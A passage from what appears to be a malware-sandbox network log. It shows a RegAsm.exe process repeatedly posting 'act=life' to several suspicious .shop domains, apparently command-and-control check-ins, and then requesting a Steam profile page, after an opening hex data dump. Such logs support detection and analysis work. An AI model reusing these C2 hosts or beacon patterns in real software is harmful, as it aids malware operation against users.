cd af Data Ascii: eK_TCR^5MgcGyOS]9]HBmYQPL}`Dt iT]zV206qUG-cavq$on!s'435}7d41{~95Oc,aiTQ^ "{.5/i+}O }S1=B>r
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 29 e9 67 04 44 cb c0 e1 aa 06 c1 7f 0b 0f 71 8e 31 e2 d8 93 fc f9 79 23 df 84 15 ae 82 af e8 60 50 3c 25 90 b1 b0 4a b3 40 26 0b 02 cf 0c 30 a9 87 06 9b 9c c1 10 fb 73 e8 18 53 60 e6 9a e3 33 92 dc b9 d2 c5 43 89 15 7c 46 02 30 cf 53 7c 77 12 37 27 f1 9f 6e c3 08 0b 59 26 f1 12 9a 7a cb 55 04 87 48 f4 04 13 92 3d 5a 1c 47 b4 81 7c 67 3d 02 c9 06 15 16 fb 78 6b 0c 09 60 09 0d b7 80 68 39 e9 a8 65 c9 b4 9a 90 00 62 6c 9e 41 c7 5e c2 08 c9 46 b9 2f ba a4 76 b6 e6 74 7f e5 90 a2 52 c1 57 7a 8a 1b fd 4d a4 64 bf 25 78 5f aa 9b 76 e7 af 99 23 46 51 12 2a 85 a7 6e 22 e8 86 00 4b 57 63 fe 1d b7 20 8d 06 19 5d dd 27 80 6b a2 39 24 8d 40 d3 8f 38 70 1f 2a 01 2e b2 fe 92 a8 1a c5 f8 1f f6 74 c2 1f 9b 15 3b 94 22 4e 5d 60 5b 48 2a ea 33 b9 88 c5 10 79 87 ae bd bc b7 Data Ascii: )gDq1y#`P<%J@&0sS`3C\|F0S\|w7'nY&zUH=ZG\|g=xk`h9eblA^F/vtRWzMd%x_v#FQn"KWc ]'k9$@8p.t;"N]`[H*3y
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: fc 9b cf 45 f9 61 e3 65 71 bb 52 77 76 f9 01 61 ee 6c cd 55 03 42 b2 92 41 d5 40 03 3b fd a7 8d db df 78 0d 90 2e 78 b9 57 34 64 76 f1 01 aa cf b5 6e ca f8 6f 25 1f 2a d4 72 fb 3d 73 73 e3 97 e0 c2 76 a4 39 f8 54 6f fe 9b 90 3c 0e ec 80 86 fb cb fd 59 6c c9 13 88 d2 a4 66 46 1c c9 52 4c 2e e2 ec 14 0b 41 30 61 3e 98 e2 1d a2 9e b3 80 5b cb df 71 9e 15 c2 d0 08 7c 73 d6 65 14 4f 18 32 5e f9 80 d5 9c 30 88 f2 9e d0 17 4e 99 e7 ca 82 21 dd b1 5c 07 0b c7 dc 19 3f 0f e8 43 c4 cd 96 27 fe 39 59 a2 4e 0d b7 f5 d5 1e 12 49 af f9 e3 d1 e7 1e 68 4a ea 16 47 ba 78 9e c0 e1 46 48 29 6b ac c9 29 40 44 68 6c 40 12 41 f0 db 27 15 a8 b2 0a 56 f9 f6 64 a8 a3 40 c3 16 25 8c 9a 8c 89 ee 0d 10 a8 40 f8 30 9f 71 fb 47 2b bb ca a1 ce b2 aa 46 bc b7 35 85 6b bd 54 8b 8b d9 c9 Data Ascii: EaeqRwvalUBA@;x.xW4dvno%*r=ssv9To<YlfFRL.A0a>[q\|seO2^0N!\?C'9YNIhJGxFH)k)@Dhl@A'Vd@%@0qG+F5kT
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 4f d2 b1 20 a6 2b ff 92 3e ed d9 5c 12 82 65 d5 20 04 cf 4c 41 62 74 b9 2f c5 8f 60 78 f5 d3 76 cd 3e 1c 42 c9 50 f0 07 55 5b e5 70 c1 aa f1 be c7 58 d8 70 14 e1 b9 bd c9 ca e1 52 f3 a7 0c 8e 69 9e cd d8 ed fa 0f 90 57 ec 80 9c 44 57 df ea e7 70 4d d4 27 b0 9b 62 7e 0e ff e5 2c 65 0f 5c d7 bf c7 2a 9b 09 7b 72 0c 9b fe b1 ef 88 05 e1 9d 66 1e 8d cc 9a 4d 93 bb 36 ba 70 31 3c 66 2e e5 46 1d f5 0b eb b2 0c 30 8e 6b e5 37 14 20 6a d9 1d 3a 92 1e 24 d7 b7 33 e3 9d a1 32 1d fd 69 4a c6 07 9f ca bb 17 d8 97 26 e5 cb 1e 18 42 f3 0b cc 5f 89 14 b5 62 99 54 09 5d 0f 66 77 1e 5d 37 d3 99 42 84 49 e2 45 56 1e 63 c0 77 3c ce d1 9d 4a 28 3d b2 35 72 38 e9 ab 3e 5c ee 95 cb df 16 75 4d 1d 42 77 8a 94 fe 42 0d bc df bc 91 6f 0a b5 c7 1d 44 05 fd 00 64 9f 87 00 eb a3 db Data Ascii: O +>\e LAbt/`xv>BPU[pXpRiWDWpM'b~,e\*{rfM6p1<f.F0k7 j:$32iJ&B_bT]fw]7BIEVcw<J(=5r8>\uMBwBoDd
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 84 df 03 6a b4 83 3c a2 8d 9f df 03 18 76 b5 b3 73 92 1c 49 a7 e0 f4 74 89 d5 b1 90 26 ab 47 40 4a 37 13 54 81 f2 79 82 ec f5 26 2e e0 a3 d2 a1 b0 43 e0 d0 31 d3 4f e0 56 5d fd 6a f1 51 d9 fd e7 70 e9 28 5d 93 bb 56 ae c4 d7 bf 72 00 73 39 5d 00 76 f2 e9 19 b2 b1 fe d2 c6 01 68 4e 4b d1 99 8c e4 2e 73 01 93 e6 21 e8 97 ef 61 42 97 67 fd 4e c0 fc e0 ea 07 2c 28 60 15 58 b4 a9 fe 6e c1 4c 75 5a 72 75 c4 39 ec 40 61 6b 4a 79 51 43 1c 75 5d d0 dc ae 9d 1c 13 b2 f8 57 10 24 ab 33 5f 36 03 c7 e4 f9 2c 8d 0f d8 37 8f 1f ba fc 92 85 86 a1 83 8a ea 38 9b a3 52 1f db fd 32 c7 57 c9 c3 63 e4 81 2a 0c de e8 d4 bd 53 f1 eb 09 56 a6 0f 51 79 03 13 e3 46 2d 5f 16 a8 0a e1 bc 7d 83 db 29 a1 fa 77 1a 84 fc c7 b8 a8 0b 6b c1 6f 51 13 f0 24 62 6c 31 fe d9 41 d1 de e7 ea 0d Data Ascii: j<vsIt&G@J7Ty&.C1OV]jQp(]Vrs9]vhNK.s!aBgN,(`XnLuZru9@akJyQCu]W$3_6,78R2Wc*SVQyF-_})wkoQ$bl1A
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 98 88 95 12 39 83 a7 08 39 97 43 6f e4 c5 55 c9 0c ee 6f 08 19 a6 1c 65 c7 6d 29 73 ce 02 ed 72 21 15 cd e2 dd e2 9c 1d 77 5d 0b b5 4b f0 4c 7a 79 8f ea ce ad a1 ca 06 94 58 02 a4 1f 36 e1 2d 98 73 71 6a bd f4 07 63 ab 1f 96 1b 4d c4 13 f4 25 24 4b a9 d2 c7 e6 17 17 72 e5 d5 1e a3 0e d8 83 19 46 08 2f 1d 3e ab fa c2 12 5d 84 dc 7b 6c 09 cc e8 57 0e 5d 17 4a 74 68 8e 99 93 6d b8 36 cf 52 54 3f cc d4 16 f9 31 e2 d5 29 06 30 2f 77 35 36 80 9b 23 e9 8e 72 8b 27 d8 75 f3 17 bd b5 0a 3a f9 eb c2 c7 8b 6f 6b 57 42 6e 6e 23 d5 bc 35 5c 6a 30 23 0b 6a df 2e 64 76 54 35 15 e4 c4 83 89 be af 4b 42 64 49 83 02 e3 7c 8c 42 f2 4e 37 10 71 5b db 0e 89 3a 84 ce 84 c5 3f 0f a9 57 b5 f4 db f3 8a 5f e2 60 5b 39 74 d7 61 e3 ff 4f a5 35 fb 5a b7 82 2d 09 3f 88 93 e8 da 4d 87 Data Ascii: 99CoUoem)sr!w]KLzyX6-sqjcM%$KrF/>]{lW]Jthm6RT?1)0/w56#r'u:okWBnn#5\j0#j.dvT5KBdI\|BN7q[:?W_`[9taO5Z-?M
2024-09-26 17:05:26 UTC	8000	IN	Data Raw: 1a 06 41 2d 9f a0 a9 d8 6d cc d1 be 4a 46 7b 32 c2 98 39 d3 d1 00 02 a7 6b ed 0f 4a c5 cb d5 af 51 d2 6e 1e ba af 46 9b 31 4f ba ca 45 60 a2 08 f9 79 ba 8a 67 19 f6 40 42 68 83 da b4 cd d5 9b 0c ff eb cf d4 ce ad 88 26 a0 bd 98 31 b7 1d 57 b7 25 74 06 d4 3f 08 e6 6f 1c af 38 03 a4 14 59 43 cd 3b 2f 60 d9 80 c8 27 f3 99 b0 02 9f 3c af e0 8b 97 29 92 eb 29 b3 54 52 30 87 e8 ea 13 5f de 19 aa a5 9c 3b d7 82 b6 49 80 67 76 79 66 ad d2 69 d5 0e 8b ed 00 f7 55 6c ce 7d f3 9a 11 5f 38 06 9d 04 e0 aa 7c b5 48 3d 51 05 fc a3 43 a2 2e 98 99 80 07 3a a3 b8 63 df be 39 64 7e 1e 75 32 03 29 16 79 4c 1b ef 3d eb a1 c7 1f da e7 02 0f f5 71 c9 93 2d 52 50 b1 00 bd 83 25 c3 75 72 8b 38 be 60 ed 71 c8 99 1f 35 00 df 27 b1 b0 d2 ee dc aa e8 16 20 3a 40 45 8d 59 d3 32 9b b8 Data Ascii: A-mJF{29kJQnF1OE`yg@Bh&1W%t?o8YC;/`'<))TR0_;IgvyfiUl}_8\|H=QC.:c9d~u2)yL=q-RP%ur8`q5' :@EY2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49744	188.114.96.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:29 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 17:05:29 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:30 UTC	792	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=r88hl7s42d0n5pjoubur55aq1v; expires=Mon, 20 Jan 2025 10:52:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vjww%2B%2FdQ7CcNrW7RE9DEYIP6%2BU3ukfCw4AKmcrl4%2B%2B62%2FE%2Bda7BN66rAy%2BGk%2BeyLf7DIPt8ao7FYZjJy%2FG8EwY8BYHAAIdQflKqyEvEDd7PCTySGQMI%2B%2BNsXrUXwn92nVa5NVw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6d1fac10f88-EWR
2024-09-26 17:05:30 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:30 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	59733	104.21.4.136	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:30 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: gutterydhowi.shop
2024-09-26 17:05:30 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:31 UTC	782	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3d2ukmahipljpqrg7b746n94q; expires=Mon, 20 Jan 2025 10:52:10 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=gk8SvGB%2BvgcH%2FAYTdbWHLg12e6vJPDIJ%2FjNt11wmDGZmpeWoZQd9j9Dz05x7W%2BjDHcLpvMMSXZjFqA6R3FLToPYz%2BHYgcmbuIR7lFiYGTQJ1q5zWRXjg34JvExhE%2FoU1Kw%2BuKg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6d83c494382-EWR
2024-09-26 17:05:31 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	59734	188.114.96.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:31 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: ghostreedmnu.shop
2024-09-26 17:05:31 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:32 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=s91tal44oqagtbclutsaf7j1jc; expires=Mon, 20 Jan 2025 10:52:11 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FLU7g6KWZteT44C8YvNo3LceMOtA3wAjXfupl6w0u%2FfO1C82tj5EEs1sO4yNCgWYJDGALE5GCmQ5FU5JXQ93sGbkxXg%2F2p6PBUzZnb2qarh3Eji98Otp3olfRVsKfspJYWVmFQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6de2f3619cb-EWR
2024-09-26 17:05:32 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:32 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	59735	188.114.97.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:32 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: offensivedzvju.shop
2024-09-26 17:05:32 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:33 UTC	776	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=3m0i1bgn5fr3lvob7ceofjgdv4; expires=Mon, 20 Jan 2025 10:52:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vdsV9ejPS3fH79Ywzdg5nBssgDuz%2BxGP%2FZ%2ByQWzTXaapknVINGKqdB79uaoxRa6CXkr01MWZFYhNBkQ90JmVbnWM4wtLgTn2Le%2Bts2%2BU05DAVbGPMYYXPg2fVY0YbimKZa7C%2BDyE"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6e4c8a54204-EWR
2024-09-26 17:05:33 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:33 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	59736	188.114.96.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:33 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: vozmeatillu.shop
2024-09-26 17:05:33 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:34 UTC	764	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rtbplg0sdb2inch96sshs3qhug; expires=Mon, 20 Jan 2025 10:52:13 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kECw16gvl13Gb3dv0hX99b0NI5KTJ58YWjyr2jeygR0ZnD0v6mcMZrXhPzziSfC2QF5pfsGG5bfIMnF1x67h47%2BU32iBQetES8J2s3nlAOOzd%2FHl7d6ztLHRLs7qdWjHm0Kn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6eaba9e4265-EWR
2024-09-26 17:05:34 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	59737	172.67.162.108	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:35 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: drawzhotdog.shop
2024-09-26 17:05:35 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:36 UTC	776	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hdt8arns2pmi31poiquqm8rglm; expires=Mon, 20 Jan 2025 10:52:14 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=%2Fh4z60mvhP8sELoQl3MkI9vRugaLKse3PHHgjhjj%2BmPVmXBxdwZH72NYuunJDzCLlbPIKt3lULvmp%2FmiJmRH6Qqud%2Fmy%2BpIX%2F3H6go0MJZypk%2BFy00eS%2FHgJrZcJUCl0zMBk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6f5adf80f67-EWR
2024-09-26 17:05:36 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	59738	188.114.96.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:36 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fragnantbui.shop
2024-09-26 17:05:36 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:37 UTC	768	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=rjv08e9vpp54sp0a86dhuq2394; expires=Mon, 20 Jan 2025 10:52:15 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mWtpnwABn8r34YY7ufPpeRc83VK6J6OEOmBMp%2BS1vVaiyyQIM1TRX1KM4ZwrFakRb%2B7bY4J1SMVRfow95ALArSX5AlC64eKlytWEFRvnEewY%2BWXfSGF7ahflkD5LVoAr%2B0i7"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d6fbec77729b-EWR
2024-09-26 17:05:37 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	59739	188.114.96.3	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:37 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: stogeneratmns.shop
2024-09-26 17:05:37 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:38 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=mcfq6nsfsovan3abmfcnf9om8h; expires=Mon, 20 Jan 2025 10:52:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=YPW8d55Pw4LVQ0eEpK6U8%2FMKapi4PNHryhbpMV4ixyKmbMqruWYASKWO4kP83WbmptImqD%2FsTeh1TzfKWCmte5FQmw8cGn6hy3adJV3UROgmy9Xlzl%2FgZf3OL9Ssk7vA9f1V0mQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d7024f74434f-EWR
2024-09-26 17:05:38 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	59740	172.67.208.139	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:38 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: reinforcenh.shop
2024-09-26 17:05:38 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-09-26 17:05:38 UTC	772	IN	HTTP/1.1 200 OK Date: Thu, 26 Sep 2024 17:05:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q9pavup824dfbo4jud15glrqbf; expires=Mon, 20 Jan 2025 10:52:17 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HPMTl0PxTBgc3uCsUm%2FP8X%2BwMIV7LO49jGXkJPryQXosFeL6wFl7ekaNdrrGMod3HEKRiXz5T%2BrhI6CNid%2FRhq9jKHmVV5yVpsazgp%2BO42RMXICJzY%2B1GXadxMt9KQ9nvzbr"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8c94d7086d797c8d-EWR
2024-09-26 17:05:38 UTC	15	IN	Data Raw: 61 0d 0a 65 72 72 6f 72 20 23 44 31 32 0d 0a Data Ascii: aerror #D12
2024-09-26 17:05:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	59741	104.102.49.254	443	6664	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-26 17:05:39 UTC	219	OUT	GET /profiles/76561199724331900 HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: steamcommunity.com
2024-09-26 17:05:40 UTC	1870	IN	HTTP/1.1 200 OK Server: nginx Content-Type: text/html; charset=UTF-8 Content-Security-Policy: default-src blob: data: https: 'unsafe-inline' 'unsafe-eval'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://community.akamai.steamstatic.com/ https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/ https://api.steampowered.com/ https://recaptcha.net https://www.google.com/recaptcha/ https://www.gstatic.cn/recaptcha/ https://www.gstatic.com/recaptcha/ https://www.youtube.com/ https://s.ytimg.com; object-src 'none'; connect-src 'self' https://community.akamai.steamstatic.com/ https://store.steampowered.com/ https://checkout.steampowered.com/ wss://community.steam-api.com/websocket/ https://api.steampowered.com/ https://login.steampowered.com/ https://help.steampowered.com/ https://steam.tv/ https://steamcommunity.com/ https://.valvesoftware.com https://.steambeta.net https://.discovery.beta.steamserver.net https://.steamcontent.com https://steambroadcast.akamaized.net https://steambroadcast-test.akamaized.net https://broadcast.st.dl.eccdnx.com https://lv.queniujq. [TRUNCATED] Expires: Mon, 26 Jul 1997 05:00:00 GMT Cache-Control: no-cache Date: Thu, 26 Sep 2024 17:05:40 GMT Content-Length: 34663 Connection: close Set-Cookie: sessionid=aacb12846da563810ebf78d0; Path=/; Secure; SameSite=None Set-Cookie: steamCountry=US%7Cd7fb65801182a5f50a3169fe2a0b7ef0; Path=/; Secure; HttpOnly; SameSite=None
